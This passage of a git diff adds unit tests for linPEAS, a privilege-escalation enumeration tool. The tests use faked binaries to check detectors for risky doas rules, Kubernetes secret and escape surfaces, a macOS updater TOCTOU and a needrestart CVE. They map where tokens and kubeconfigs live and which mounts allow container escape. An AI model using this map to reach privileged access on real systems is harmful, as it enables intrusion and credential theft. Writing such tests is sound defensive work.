self.assertEqual(result.returncode, 0, result.stderr) + self.assertNotIn("ignored", result.stdout) + self.assertNotIn("Soccer", result.stdout) + self.assertIn("permit nopass player as root cmd /usr/bin/dstat", result.stdout) + self.assertIn('args "#kept"', result.stdout) + self.assertIn("deny :blocked", result.stdout) + + def test_doas_c_evaluation_never_runs_the_requested_command(self): + with tempfile.TemporaryDirectory() as tmpdir: + tmp_path = Path(tmpdir) + fake_doas = tmp_path / "doas" + config = tmp_path / "doas.conf" + executed = tmp_path / "executed" + config.write_text( + "permit nopass player as root cmd /usr/bin/dstat\n", + encoding="utf-8", + ) + fake_doas.write_text( + "#!/bin/sh\n" + "[ \"$1\" = -C ] || exit 20\n" + "[ -f \"$2\" ] || exit 21\n" + "if [ $# -eq 2 ]; then exit 0; fi\n" + "[ \"$3\" = /usr/bin/dstat ] || { echo deny; exit 1; }\n" + "echo 'permit nopass'\n", + encoding="utf-8", + ) + fake_doas.chmod(0o755) + + result = self._run_shell( + "\n".join( + [ + "TIMEOUT=", + f"doas_config_syntax_valid {shlex.quote(str(fake_doas))} {shlex.quote(str(config))} && echo syntax=ok", + f"doas_check_command {shlex.quote(str(fake_doas))} {shlex.quote(str(config))} /usr/bin/dstat", + f"[ ! -e {shlex.quote(str(executed))} ] && echo executed=no", + ] + ) + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("syntax=ok", result.stdout) + self.assertIn("permit nopass", result.stdout) + self.assertIn("executed=no", result.stdout) + + def test_module_reports_the_soccer_configuration(self): + with tempfile.TemporaryDirectory() as tmpdir: + tmp_path = Path(tmpdir) + fake_doas = tmp_path / "doas" + config = tmp_path / "doas.conf" + fake_doas.write_text("#!/bin/sh\nexit 1\n", encoding="utf-8") + fake_doas.chmod(0o755) + config.write_text( + "permit nopass player as root cmd /usr/bin/dstat\n", + encoding="utf-8", + ) + + body = "\n".join( + [ + f"PATH={shlex.quote(str(tmp_path))}:$PATH", + "export PATH", + "E=E", + "SED_RED='&'", + "SED_RED_YELLOW='&'", + "SED_LIGHT_CYAN='&'", + "SED_GREEN='&'", + "TIMEOUT=", + "sudoVB1='dstat$'", + "sudoVB2=''", + "print_2title() { echo \"TITLE: $1\"; }", + "print_3title() { echo \"SUBTITLE: $1\"; }", + "print_info() { :; }", + "echo_not_found() { echo \"NOT FOUND: $1\"; }", + "id() {", + " case \"$1\" in", + " -un) echo player ;;", + " -u) echo 1000 ;;", + " -Gn) echo 'player users' ;;", + " -G) echo '1000 100' ;;", + " *) command id \"$@\" ;;", + " esac", + "}", + f". {shlex.quote(str(self.module_file))}", + ] + ) + result = self._run_shell(body) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn( + "matching permit rule allows GTFOBins-capable command /usr/bin/dstat as root without a password", + result.stdout, + ) + self.assertIn("HTB Soccer privilege-escalation pattern", result.stdout) + + def test_symlinked_binary_uses_target_permissions(self): + with tempfile.TemporaryDirectory() as tmpdir: + tmp_path = Path(tmpdir) + real_doas = tmp_path / "doas-real" + linked_doas = tmp_path / "doas" + real_doas.write_text("#!/bin/sh\nexit 1\n", encoding="utf-8") + real_doas.chmod(0o755) + linked_doas.symlink_to(real_doas) + + body = "\n".join( + [ + f"PATH={shlex.quote(str(tmp_path))}:$PATH", + "export PATH", + "E=E", + "SED_RED='&'", + "SED_RED_YELLOW='&'", + "SED_LIGHT_CYAN='&'", + "SED_GREEN='&'", + "TIMEOUT=", + "sudoVB1=''", + "sudoVB2=''", + "print_2title() { :; }", + "print_3title() { :; }", + "print_info() { :; }", + "echo_not_found() { :; }", + "id() {", + " case \"$1\" in", + " -un) echo root ;;", + " -u) echo 0 ;;", + " -Gn) echo wheel ;;", + " -G) echo 0 ;;", + " *) command id \"$@\" ;;", + " esac", + "}", + f". {shlex.quote(str(self.module_file))}", + ] + ) + result = self._run_shell(body) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertNotIn("CRITICAL: doas is writable", result.stdout) + + def test_module_replaces_invalid_doas_l_with_config_evaluation(self): + content = self.module_file.read_text(encoding="utf-8") + self.assertNotRegex(content, r"\bdoas\s+-l\b") + self.assertIn("doas_config_syntax_valid", content) + self.assertIn("doas_check_command", content) + self.assertIn("HTB Soccer", content) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_kubernetes_surfaces.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_kubernetes_surfaces.py new file mode 100644 index 00000000..c9c04289 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_kubernetes_surfaces.py @@ -0,0 +1,400 @@ +import json +import os +import shutil +import subprocess +import tempfile +import time +import unittest +from pathlib import Path + + +MODULE = ( + Path(__file__).resolve().parents[1] + / "builder/linpeas_parts/2_container/6_Kubernetes_surfaces.sh" +) + + +class KubernetesSurfacesTests(unittest.TestCase): + @classmethod + def setUpClass(cls): + # Load only function definitions; the module's final block scans the + # real machine and is exercised by the generated-script build. + cls.functions = MODULE.read_text().split("if k8s_context_present; then\n", 1)[0] + + def run_shell(self, command, *arguments, env=None): + return subprocess.run( + ["sh", "-c", self.functions + "\n" + command, "test", *map(str, arguments)], + check=True, + capture_output=True, + text=True, + env=env, + timeout=15, + ).stdout + + def test_projected_and_legacy_volumes_report_paths_without_values(self): + with tempfile.TemporaryDirectory() as root: + pods = Path(root) / "pods" + legacy = pods / "pod-a/volumes/kubernetes.io~secret/legacy-token" + projected = pods / "pod-b/volumes/kubernetes.io~projected/kube-api-access-x" + for path in (legacy, projected): + path.mkdir(parents=True) + (path / "token").write_text("SENSITIVE_TOKEN_VALUE") + result = self.run_shell('k8s_scan_pod_volumes "$1"', pods) + self.assertIn(str(legacy), result) + self.assertIn(str(projected), result) + self.assertIn("readable=yes", result) + self.assertNotIn("SENSITIVE_TOKEN_VALUE", result) + + def test_writable_hostlog_mount_is_flagged_from_mountinfo(self): + with tempfile.TemporaryDirectory() as root: + mountpoint = Path(root) / "logs" + mountpoint.mkdir() + mountinfo = Path(root) / "mountinfo" + mountinfo.write_text( + f"44 33 0:1 /var/log/pods {mountpoint} rw,relatime - ext4 /dev/sda rw\n" + ) + result = self.run_shell('k8s_scan_mountinfo "$1"', mountinfo) + self.assertIn("source-root=/var/log/pods", result) + self.assertIn("Potential writable host-log mount", result) + + mountinfo.write_text( + f"44 33 0:1 /var/log/pods {mountpoint} ro,relatime - ext4 /dev/sda ro\n" + ) + result = self.run_shell('k8s_scan_mountinfo "$1"', mountinfo) + self.assertIn("write+search=no", result) + self.assertNotIn("Potential writable host-log mount", result) + + def test_api_environment_detects_kubernetes_without_cgroup_marker(self): + env = os.environ.copy() + env["KUBERNETES_SERVICE_HOST"] = "10.0.0.1" + result = self.run_shell('containerType=No; k8s_context_present && echo found', env=env) + self.assertEqual("found\n", result) + + def test_alternate_procfs_and_cgroup_mounts_are_found(self): + with tempfile.TemporaryDirectory() as root: + proc_mount = Path(root) / "hostproc" + cgroup_mount = Path(root) / "hostcgroup" + (proc_mount / "sys/kernel").mkdir(parents=True) + cgroup_mount.mkdir() + (proc_mount / "sys/kernel/core_pattern").write_text("core") + (cgroup_mount / "release_agent").write_text("agent") + (cgroup_mount / "notify_on_release").write_text("0") + mountinfo = Path(root) / "mountinfo" + mountinfo.write_text( + f"44 33 0:1 / {proc_mount} rw - proc proc rw\n" + f"45 33 0:2 / {cgroup_mount} rw - cgroup cgroup rw\n" + ) + result = self.run_shell('k8s_scan_kernel_mounts "$1"', mountinfo) + self.assertIn(str(proc_mount / "sys/kernel/core_pattern"), result) + self.assertIn(str(cgroup_mount / "release_agent"), result) + self.assertIn(str(cgroup_mount / "notify_on_release"), result) + + def test_mounted_node_root_exposes_kubelet_files_and_volumes(self): + with tempfile.TemporaryDirectory() as root: + hostroot = Path(root) / "mounted-node" + kubelet = hostroot / "var/lib/kubelet" + kubelet.mkdir(parents=True) + (kubelet / "config.yaml").write_text( + "readOnlyPort: 10255\nauthentication:\n anonymous:\n enabled: true\n" + "privateKey: SENSITIVE_VALUE\n" + ) + secret = kubelet / "pods/pod-a/volumes/kubernetes.io~secret/app" + secret.mkdir(parents=True) + (secret / "token").write_text("SENSITIVE_TOKEN_VALUE") + mountinfo = Path(root) / "mountinfo" + mountinfo.write_text(f"44 33 0:1 / {hostroot} rw - ext4 /dev/sda rw\n") + + result = self.run_shell( + 'k8s_has_mounted_node_root "$1" && k8s_scan_host_roots "$1"', mountinfo + ) + self.assertIn(f"Possible mounted node root: {hostroot}", result) + self.assertIn(str(secret), result) + self.assertIn("readOnlyPort: 10255", result) + self.assertNotIn("SENSITIVE_VALUE", result) + self.assertNotIn("SENSITIVE_TOKEN_VALUE", result) + + mountinfo.write_text("44 33 0:1 / /no-kubelet-here rw - ext4 /dev/sda rw\n") + self.assertEqual( + "missing\n", + self.run_shell('k8s_has_mounted_node_root "$1" || echo missing', mountinfo), + ) + + def test_kubelet_bind_mounts_at_arbitrary_destinations_are_scanned(self): + with tempfile.TemporaryDirectory() as root: + kubelet = Path(root) / "mounted-kubelet" + projected = kubelet / "pods/pod-a/volumes/kubernetes.io~projected/sa" + projected.mkdir(parents=True) + (projected / "token").write_text("SENSITIVE_TOKEN_VALUE") + (kubelet / "config.yaml").write_text("readOnlyPort: 10255\n") + secret = Path(root) / "mounted-secret" + secret.mkdir() + (secret / "token").write_text("SENSITIVE_SECRET_VALUE") + mountinfo = Path(root) / "mountinfo" + mountinfo.write_text( + f"44 33 0:1 /var/lib/kubelet {kubelet} rw - ext4 /dev/sda rw\n" + f"45 33 0:1 /var/lib/kubelet/pods/pod-b/volumes/kubernetes.io~secret/app " + f"{secret} rw - ext4 /dev/sda rw\n" + ) + result = self.run_shell( + 'k8s_has_kubelet_mount "$1" && k8s_scan_kubelet_mounts "$1"', mountinfo + ) + self.assertIn(str(projected), result) + self.assertIn(str(secret / "token"), result) + self.assertIn("readOnlyPort: 10255", result) + self.assertNotIn("SENSITIVE_TOKEN_VALUE", result) + self.assertNotIn("SENSITIVE_SECRET_VALUE", result) + + def test_rke2_and_k0s_credentials_are_found_under_mounted_root(self): + with tempfile.TemporaryDirectory() as root: + hostroot = Path(root) / "node" + rke2 = hostroot / "etc/rancher/rke2/rke2.yaml" + k0s = hostroot / "var/lib/k0s/pki/admin.conf" + for path in (rke2, k0s): + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text("SENSITIVE_KUBECONFIG") + mountinfo = Path(root) / "mountinfo" + mountinfo.write_text(f"44 33 0:1 / {hostroot} rw - ext4 /dev/sda rw\n") + result = self.run_shell( + 'k8s_has_mounted_node_root "$1" && k8s_scan_host_roots "$1"', mountinfo + ) + self.assertIn(str(rke2), result) + self.assertIn(str(k0s), result) + self.assertNotIn("SENSITIVE_KUBECONFIG", result) + + def test_kubectl_discovery_is_opt_in_and_uses_bounded_name_queries(self): + with tempfile.TemporaryDirectory() as root: + kubectl = Path(root) / "kubectl" + log = Path(root) / "calls" + kubectl.write_text( + "#!/bin/sh\n" + 'printf "%s\\n" "$*" >> "$KUBECTL_CALLS"\n' + 'case "$*" in\n' + ' *"config get-contexts"*) echo cluster-a ;;\n' + ' *"config current-context"*) echo current ;;\n' + ' *"config view"*) echo testing ;;\n' + ' *"get namespaces"*) echo namespace/testing ;;\n' + ' *"get pods,services,serviceaccounts,secrets"*) echo pod/example ;;\n' + ' *"auth can-i get nodes/"*) echo yes ;;\n' + ' *"get nodes"*) echo node/example ;;\n' + ' *"hostPath.path"*) echo "example: /host" ;;\n' + ' *"get pods"*) echo "example sa=default hostPID=true" ;;\n' + ' *"auth can-i"*) echo "pods list" ;;\n' + 'esac\n' + ) + kubectl.chmod(0o755) + env = os.environ.copy() + env["PATH"] = f"{root}:{env['PATH']}" + env["KUBECTL_CALLS"] = str(log) + + output = self.run_shell("k8s_namespace=''; EXTRA_CHECKS=''; k8s_scan_kubectl", env=env) + self.assertIn("cluster-a", output) + self.assertNotIn("pod/example", output) + self.assertEqual(1, len(log.read_text().splitlines())) + + output = self.run_shell("k8s_namespace=''; EXTRA_CHECKS=1; k8s_scan_kubectl", env=env) + self.assertIn("namespace/testing", output) + self.assertIn("pod/example", output) + self.assertIn("example: /host", output) + self.assertIn("Context: cluster-a", output) + self.assertIn("example: yes", output) + for call in log.read_text().splitlines()[1:]: + if "config " not in call: + self.assertIn("--request-timeout=5s", call) + + def test_service_account_api_fallback_reports_names_without_secret_values(self): + with tempfile.TemporaryDirectory() as root: + root = Path(root) + sa = root / "serviceaccount" + sa.mkdir() + (sa / "token").write_text("SENSITIVE_TOKEN_VALUE") + (sa / "ca.crt").write_text("test CA") + (sa / "namespace").write_text("workloads\n") + calls = root / "curl-calls" + curl = root / "curl" + curl.write_text( + "#!/bin/sh\n" + 'printf "%s\\n" "$*" >> "$CURL_CALLS"\n' + 'read -r header\n' + 'case "$*" in\n' + ' *"/api/v1/namespaces/workloads/pods"*)\n' + " echo '{\"items\":[{\"metadata\":{\"name\":\"pod-a\"},\"spec\":{\"serviceAccountName\":\"runner\",\"hostPID\":true,\"containers\":[{\"name\":\"app\",\"securityContext\":{\"privileged\":true}}],\"volumes\":[{\"hostPath\":{\"path\":\"/var/log\"}}]}}]}' ;;\n" + ' *"/api/v1/namespaces/workloads/secrets"*) echo \'{"items":[{"metadata":{"name":"my-secret"},"data":{"password":"SENSITIVE_SECRET_VALUE"}}]}\' ;;\n' + ' *"/api/v1/namespaces/workloads/services"*) echo \'{"items":[{"metadata":{"name":"svc-a"}}]}\' ;;\n' + ' *"/api/v1/namespaces/workloads/serviceaccounts"*) echo \'{"items":[{"metadata":{"name":"runner"}}]}\' ;;\n' + ' *"/api/v1/namespaces?"*) echo \'{"items":[{"metadata":{"name":"workloads"}}]}\' ;;\n' + ' *"/api/v1/nodes?"*) echo \'{"items":[{"metadata":{"name":"node-a"}}]}\' ;;\n' + 'esac\n' + ) + curl.chmod(0o755) + env = os.environ.copy() + env["PATH"] = f"{root}:{env['PATH']}" + env["CURL_CALLS"] = str(calls) + env["KUBERNETES_SERVICE_HOST"] = "10.0.0.1" + output = self.run_shell('k8s_namespace=""; k8s_scan_sa_api "$1"', sa, env=env) + self.assertIn("namespace: workloads", output) + self.assertIn("pod: pod-a sa=runner hostPID=true", output) + self.assertIn("container app privileged=true", output) + self.assertIn("hostPath /var/log", output) + self.assertIn("secrets: my-secret", output) + self.assertIn("node: node-a", output) + self.assertNotIn("SENSITIVE_TOKEN_VALUE", output) + self.assertNotIn("SENSITIVE_SECRET_VALUE", output) + self.assertNotIn("SENSITIVE_TOKEN_VALUE", calls.read_text()) + self.assertTrue(all("--max-time 5" in call for call in calls.read_text().splitlines())) + self.assertTrue(all(call.startswith("-q ") for call in calls.read_text().splitlines())) + + def test_service_account_api_preserves_explicit_false_security_setting(self): + with tempfile.TemporaryDirectory() as root: + fixture = Path(root) / "pods.json" + fixture.write_text(json.dumps({"items": [{ + "metadata": {"name": "example"}, + "spec": {"containers": [ + {"name": "restricted", "securityContext": {"allowPrivilegeEscalation": False}}, + {"name": "allowed", "securityContext": {"allowPrivilegeEscalation": True}}, + {"name": "unspecified"}, + ]}, + }]})) + output = self.run_shell( + 'fixture="$1"; ' + 'k8s_direct_api_ready() { return 0; }; ' + 'k8s_sa_api_get() { case "$1" in ' + '*/pods\\?*) cat "$fixture" ;; ' + '*) echo \'{"items":[]}\' ;; esac; }; ' + 'k8s_scan_sa_api', + fixture, + ) + self.assertIn("container restricted privileged=false allowPE=false", output) + self.assertIn("container allowed privileged=false allowPE=true", output) + self.assertIn("container unspecified privileged=false allowPE=default", output) + + @unittest.skipUnless(shutil.which("timeout"), "timeout is required") + def test_kubectl_has_process_deadline_not_only_request_timeout(self): + with tempfile.TemporaryDirectory() as root: + kubectl = Path(root) / "kubectl" + kubectl.write_text("#!/bin/sh\nsleep 30\n") + kubectl.chmod(0o755) + env = os.environ.copy() + env["PATH"] = f"{root}:{env['PATH']}" + started = time.monotonic() + output = self.run_shell( + "k8s_kubectl config current-context || echo bounded", env=env + ) + self.assertEqual("bounded\n", output) + self.assertLess(time.monotonic() - started, 10) + + def test_kubectl_is_skipped_without_deadline_tool(self): + output = self.run_shell( + 'command() { return 1; }; ' + 'kubectl() { echo SHOULD_NOT_RUN; }; ' + 'k8s_kubectl config current-context || echo skipped' + ) + self.assertEqual("skipped\n", output) + + def test_escape_capability_bits_are_decoded(self): + result = self.run_shell( + 'for bit in 18 19 21; do ' + 'k8s_cap_has 00000000002c0000 "$bit" && echo "$bit present"; ' + 'done; k8s_cap_has 0000000000000000 21 || echo "21 absent"' + ) + self.assertEqual( + "18 present\n19 present\n21 present\n21 absent\n", result + ) + + def test_runc_release_range_is_reported_as_upstream_evidence(self): + result = self.run_shell( + 'for version in 1.0.0-rc92 1.0.0-rc93 1.0.3 1.1.11 1.1.12 1.2.0; do ' + 'k8s_runc_21626_upstream_range "$version" && echo "$version flagged"; ' + 'done; true' + ) + self.assertEqual("1.0.0-rc93 flagged\n1.0.3 flagged\n1.1.11 flagged\n", result) + with tempfile.TemporaryDirectory() as root: + runc = Path(root) / "runc" + runc.write_text("#!/bin/sh\necho 'runc version 1.1.11'\n") + runc.chmod(0o755) + env = os.environ.copy() + env["PATH"] = f"{root}:{env['PATH']}" + output = self.run_shell("k8s_scan_runc_21626", env=env) + self.assertIn("CVE-2024-21626", output) + self.assertIn("vendor backports need confirmation", output) + + def test_kubelet_probes_are_bounded_and_send_no_credentials(self): + with tempfile.TemporaryDirectory() as root: + log = Path(root) / "curl-calls" + kubectl = Path(root) / "kubectl" + kubectl.write_text( + "#!/bin/sh\n" + 'printf "10.1.2.3\\n10.1.2.3\\ninvalid.example.com\\n"\n' + ) + kubectl.chmod(0o755) + curl = Path(root) / "curl" + curl.write_text( + "#!/bin/sh\n" + 'printf "%s\\n" "$*" >> "$CURL_CALLS"\n' + 'printf "401"\n' + ) + curl.chmod(0o755) + dig = Path(root) / "dig" + dig.write_text("#!/bin/sh\nprintf '0 100 8080 service.svc.cluster.local.\\n'\n") + dig.chmod(0o755) + env = os.environ.copy() + env["PATH"] = f"{root}:{env['PATH']}" + env["CURL_CALLS"] = str(log) + + output = self.run_shell("k8s_scan_kubelet_network; k8s_scan_service_dns", env=env) + self.assertIn("Kubelet https://10.1.2.3:10250 responded HTTP 401", output) + self.assertIn("Kubelet http://10.1.2.3:10255 responded HTTP 401", output) + self.assertIn("service.svc.cluster.local", output) + calls = log.read_text().splitlines() + self.assertEqual(2, len(calls)) + self.assertTrue(all("--max-time 2" in call for call in calls)) + self.assertTrue(all("Authorization" not in call for call in calls)) + self.assertTrue(all(call.startswith("-q ") for call in calls)) + + def test_kops_storage_lists_candidate_names_without_reading_objects(self): + with tempfile.TemporaryDirectory() as root: + calls = Path(root) / "cloud-calls" + timeout = Path(root) / "timeout" + timeout.write_text( + '#!/bin/sh\n' + 'printf "%s\\n" "$*" >> "$TIMEOUT_CALLS"\n' + '[ "$1" = -s ] && shift 2\nshift\n"$@"\n' + ) + timeout.chmod(0o755) + aws = Path(root) / "aws" + aws.write_text( + '#!/bin/sh\n' + 'printf "aws %s\\n" "$*" >> "$CLOUD_CALLS"\n' + 'case "$*" in\n' + ' *list-buckets*) printf "kops-state\\tother-bucket\\n" ;;\n' + ' *list-objects-v2*) printf "cluster/secrets/sa-token\\tconfig.yaml\\n" ;;\n' + 'esac\n' + ) + aws.chmod(0o755) + gcloud = Path(root) / "gcloud" + gcloud.write_text( + '#!/bin/sh\n' + 'printf "gcloud %s\\n" "$*" >> "$CLOUD_CALLS"\n' + 'case "$*" in\n' + ' *"buckets list"*) echo state-bucket ;;\n' + ' *"objects list"*) echo cluster/secrets/sa-token ;;\n' + 'esac\n' + ) + gcloud.chmod(0o755) + env = os.environ.copy() + env["PATH"] = f"{root}:{env['PATH']}" + env["CLOUD_CALLS"] = str(calls) + deadlines = Path(root) / "timeout-calls" + env["TIMEOUT_CALLS"] = str(deadlines) + + output = self.run_shell("k8s_scan_kops_storage", env=env) + self.assertIn("s3://kops-state", output) + self.assertIn("gs://state-bucket", output) + self.assertIn("candidate key: cluster/secrets/sa-token", output) + self.assertIn("candidate object: cluster/secrets/sa-token", output) + self.assertNotIn("config.yaml", output) + self.assertTrue(all("list" in call for call in calls.read_text().splitlines())) + self.assertTrue(all(call.startswith("-s KILL 12 ") for call in deadlines.read_text().splitlines())) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_macos_updater_toctou.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_macos_updater_toctou.py new file mode 100644 index 00000000..e1da4942 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_macos_updater_toctou.py @@ -0,0 +1,255 @@ +import os +import shlex +import subprocess +import tempfile +import unittest +from pathlib import Path + + +class MacOSUpdaterTOCTOUTests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.repo_root = Path(__file__).resolve().parents[2] + cls.module_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "4_procs_crons_timers_srvcs_sockets" + / "18_Macos_updater_toctou.sh" + ) + + @staticmethod + def _write_command(directory, name, content): + path = directory / name + path.write_text(content, encoding="utf-8") + path.chmod(0o755) + + def _run_module( + self, + base, + *, + plist_data="", + plist_user="root", + plist_mode=0o444, + ps_output="", + stat_mode="drwx------", + macpeas=True, + iamroot=False, + search_in_folder=False, + ): + root = base / "root" + launchdaemons = root / "Library" / "LaunchDaemons" + launchdaemons.mkdir(parents=True) + if plist_data: + plist = launchdaemons / "com.example.updater.plist" + plist.write_text("fixture", encoding="utf-8") + plist.chmod(plist_mode) + + bindir = base / "bin" + bindir.mkdir() + self._write_command( + bindir, + "defaults", + """#!/bin/sh +if [ "${3-}" = "UserName" ]; then + printf '%s\\n' "$FAKE_PLIST_USER" +else + printf '%s\\n' "$FAKE_PLIST_DATA" +fi +""", + ) + self._write_command( + bindir, + "stat", + """#!/bin/sh +# Fixture plists represent root-owned launchd configuration. Payload ownership +# stays root unless writability itself demonstrates current-user control. +if [ "${2-}" = "%Sp" ]; then + printf '%s\\n' "$FAKE_STAT_MODE" +else + printf '0\\n' +fi +""", + ) + self._write_command( + bindir, + "ps", + """#!/bin/sh +printf '%s\\n' "$FAKE_PS_OUTPUT" +""", + ) + + env = os.environ.copy() + env.update( + { + "FAKE_PLIST_DATA": plist_data, + "FAKE_PLIST_USER": plist_user, + "FAKE_PS_OUTPUT": ps_output, + "FAKE_STAT_MODE": stat_mode, + "PATH": f"{bindir}:/usr/bin:/bin", + } + ) + body = "\n".join( + [ + f"ROOT_FOLDER={shlex.quote(str(root))}", + f"MACPEAS={'1' if macpeas else ''}", + f"IAMROOT={'1' if iamroot else ''}", + f"SEARCH_IN_FOLDER={'1' if search_in_folder else ''}", + "E=E", + "SED_RED_YELLOW='&'", + 'print_3title() { printf "TITLE: %s\\n" "$1"; }', + "print_info() { :; }", + f". {shlex.quote(str(self.module_file))}", + ] + ) + return subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + env=env, + capture_output=True, + text=True, + check=False, + ) + + def test_root_launchdaemon_writable_update_path_is_reported_with_spaces(self): + with tempfile.TemporaryDirectory() as tmpdir: + base = Path(tmpdir) + cache = base / "Electron Cache" + cache.mkdir() + package = cache / "pending update.pkg" + plist_data = f'''{{ + "Label" => "com.example.updater" + "ProgramArguments" => ( + "/Applications/Example Updater.app/Contents/MacOS/updater", + "--cache", + "{package}" + ) +}}''' + result = self._run_module(base, plist_data=plist_data) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("TITLE: Potential privileged updater TOCTOU paths", result.stdout) + self.assertIn(str(package), result.stdout) + self.assertIn("root LaunchDaemon metadata", result.stdout) + + def test_non_root_launchdaemon_is_ignored(self): + with tempfile.TemporaryDirectory() as tmpdir: + base = Path(tmpdir) + cache = base / "update-cache" + cache.mkdir() + result = self._run_module( + base, + plist_data=f'"Program" => "/usr/bin/updater"\n"Cache" => "{cache}"', + plist_user="nobody", + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertNotIn("Potential privileged updater TOCTOU paths", result.stdout) + + def test_writable_launchdaemon_plist_is_left_to_stronger_existing_check(self): + with tempfile.TemporaryDirectory() as tmpdir: + base = Path(tmpdir) + cache = base / "update-cache" + cache.mkdir() + result = self._run_module( + base, + plist_data=f'"Program" => "/usr/bin/updater"\n"Cache" => "{cache}"', + plist_mode=0o600, + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertNotIn("Potential privileged updater TOCTOU paths", result.stdout) + + def test_root_updater_process_writable_path_is_reported(self): + with tempfile.TemporaryDirectory() as tmpdir: + base = Path(tmpdir) + cache = base / "update-cache" + cache.mkdir() + package = cache / "update.pkg" + result = self._run_module( + base, + ps_output=f"root 4242 /usr/local/bin/electron-updater --package {package}", + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("PID 4242", result.stdout) + self.assertIn(str(package), result.stdout) + self.assertIn("root updater command line", result.stdout) + + def test_sticky_directory_alone_is_not_reported(self): + with tempfile.TemporaryDirectory() as tmpdir: + base = Path(tmpdir) + cache = base / "update-cache" + cache.mkdir() + package = cache / "not-created.pkg" + result = self._run_module( + base, + ps_output=f"root 4242 /usr/bin/updater --package {package}", + stat_mode="drwxrwxrwt", + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertNotIn("Potential privileged updater TOCTOU paths", result.stdout) + + def test_writable_payload_is_reported_even_when_parent_is_sticky(self): + with tempfile.TemporaryDirectory() as tmpdir: + base = Path(tmpdir) + cache = base / "update-cache" + cache.mkdir() + package = cache / "existing-update.pkg" + package.write_text("fixture", encoding="utf-8") + result = self._run_module( + base, + ps_output=f"root 4242 /usr/bin/updater --package {package}", + stat_mode="drwxrwxrwt", + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("Potential privileged updater TOCTOU paths", result.stdout) + self.assertIn(str(package), result.stdout) + + def test_unprivileged_updater_process_is_ignored(self): + with tempfile.TemporaryDirectory() as tmpdir: + base = Path(tmpdir) + cache = base / "update-cache" + cache.mkdir() + result = self._run_module( + base, + ps_output=f"alice 4242 /usr/local/bin/electron-updater --cache {cache}", + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertNotIn("Potential privileged updater TOCTOU paths", result.stdout) + + def test_non_macos_root_and_search_modes_do_not_run_detector(self): + cases = ( + (False, False, False), + (True, True, False), + (True, False, True), + ) + for macpeas, iamroot, search_in_folder in cases: + with ( + self.subTest( + macpeas=macpeas, + iamroot=iamroot, + search_in_folder=search_in_folder, + ), + tempfile.TemporaryDirectory() as tmpdir, + ): + base = Path(tmpdir) + cache = base / "update-cache" + cache.mkdir() + result = self._run_module( + base, + ps_output=f"root 4242 /usr/bin/updater --cache {cache}", + macpeas=macpeas, + iamroot=iamroot, + search_in_folder=search_in_folder, + ) + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_modules_metadata.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_modules_metadata.py index 95e6c917..9d46c0b9 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_modules_metadata.py +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_modules_metadata.py @@ -109,6 +109,22 @@ def test_sudo_l_check_is_bounded_for_non_interactive_runs(self): self.assertIn("sudo -n -l", content) self.assertNotRegex(content, r"secure_path_line=\$\(sudo\s+-l\b") + def test_yaml_globals_uses_committed_regexes_without_downloading(self): + script = ( + "import sys; " + f"sys.path.insert(0, {str(self.linpeas_dir)!r}); " + "import builder.src.yamlGlobals" + ) + result = subprocess.run( + [sys.executable, "-c", script], + cwd=str(self.repo_root), + capture_output=True, + text=True, + ) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertNotIn("Downloading regexes", result.stdout + result.stderr) + if __name__ == "__main__": unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_needrestart.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_needrestart.py new file mode 100644 index 00000000..dbffdcb7 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_needrestart.py @@ -0,0 +1,184 @@ +import os +import shlex +import subprocess +import tempfile +import unittest +from pathlib import Path + + +class NeedrestartCVE202448990Tests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.repo_root = Path(__file__).resolve().parents[2] + cls.function_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "functions" + / "checkNeedrestartCVE202448990.sh" + ) + cls.extract_version_helper = cls.function_file.parent / "lp_extract_upstream_version.sh" + cls.version_lt_helper = cls.function_file.parent / "lp_version_lt.sh" + + def _make_root(self, base, main_value=None, snippet_value=None): + root = base / "root" + (root / "etc" / "needrestart" / "conf.d").mkdir(parents=True) + (root / "var" / "lib" / "dpkg").mkdir(parents=True) + (root / "etc" / "os-release").write_text( + 'ID=ubuntu\nVERSION_CODENAME=noble\nVERSION_ID="24.04"\n', + encoding="utf-8", + ) + if main_value is not None: + (root / "etc" / "needrestart" / "needrestart.conf").write_text( + f"$nrconf{{interpscan}} = {main_value};\n", encoding="utf-8" + ) + if snippet_value is not None: + (root / "etc" / "needrestart" / "conf.d" / "99-security.conf").write_text( + f"$nrconf{{'interpscan'}} = 